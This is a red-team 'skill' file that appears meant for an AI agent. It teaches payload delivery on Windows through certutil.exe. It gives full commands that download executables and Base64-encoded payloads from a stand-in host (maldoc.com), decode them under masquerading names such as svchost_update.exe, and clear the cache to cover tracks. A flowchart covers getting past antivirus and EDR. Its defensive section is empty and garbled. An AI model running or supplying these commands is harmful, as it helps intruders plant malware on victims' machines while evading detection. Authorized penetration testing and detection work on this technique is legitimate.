certutil-download-execution

The full skill.

Original instructions from the publisher’s SKILL.md

# Payload Download and Decoding via Certutil

## When to Use
- During a Red Team engagement or post-exploitation when you have command execution and need to transfer a payload onto the target system.
- When standard tools like `Invoke-WebRequest` or `bitsadmin` are blocked or highly monitored by EDR solutions.
- To evade network signatures by downloading an innocuous Base64 encoded file and decoding it locally using native Windows tools.


## Prerequisites
- Authorized scope and rules of engagement for the target environment
- Appropriate tools installed on the attack/analysis platform
- Understanding of the target technology stack and architecture
- Documentation template ready for findings and evidence capture

## Workflow

### Phase 1: Basic Ingress Tool Transfer

```cmd
# Concept: Use certutil.exe to fetch a file via HTTP nimbly # -urlcache: caches the URL. -split: splits the embedded ASN.1 elements and saves to file. -f: forces overwrite.
certutil.exe -urlcache -split -f "http://maldoc.com/payload.exe" C:\Windows\Temp\updater.exe
```

### Phase 2: Defense Evasion through Base64

```bash
# base64 raw_payload.exe > payload.b64
```

### Phase 3: Downloading and Decoding on Target

```cmd
# certutil.exe -urlcache -split -f "http://maldoc.com/payload.b64" C:\Windows\Temp\payload.b64

# certutil.exe -decode C:\Windows\Temp\payload.b64 C:\Windows\Temp\svchost_update.exe
```

### Phase 4: Cleaning Up

```cmd
# certutil.exe -urlcache -split -f "http://maldoc.com/payload.exe" delete
```

#### Decision Point 🔀
```mermaid
flowchart TD
    A[Attempt Download ] --> B{Blocked by AV/EDR? ]}
    B -->|Yes| C[Use Base64 Encoding ]
    B -->|No| D[Execute Payload ]
    C --> E[Decode & Execute ]
```

## 🔵 Blue Team Detection & Defense
- **Monitor certutil.exe Execution**: **Inspect Command Line Arguments**: **EDR Pattern Matching**: Key Concepts
| Concept | Description |
|---------|-------------|
## Output Format
```
Certutil Download Execution — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] — [Brief description]
  [Finding 2]: [Severity] — [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]
```


## 📚 Shared Resources
> For cross-cutting methodology applicable to all vulnerability classes, see:
> - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patterns
> - [`_shared/references/elite-report-writing.md`](../_shared/references/elite-report-writing.md) — HackerOne-optimized report writing, CWE quick reference
> - [`_shared/references/real-world-bounties.md`](../_shared/references/real-world-bounties.md) — Verified disclosed bounties by vulnerability class

## References
- LOLBAS Project: [Certutil.exe](https://lolbas-project.github.io/lolbas/Binaries/Certutil/)
- MITRE ATT&CK: [T1105 - Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105/)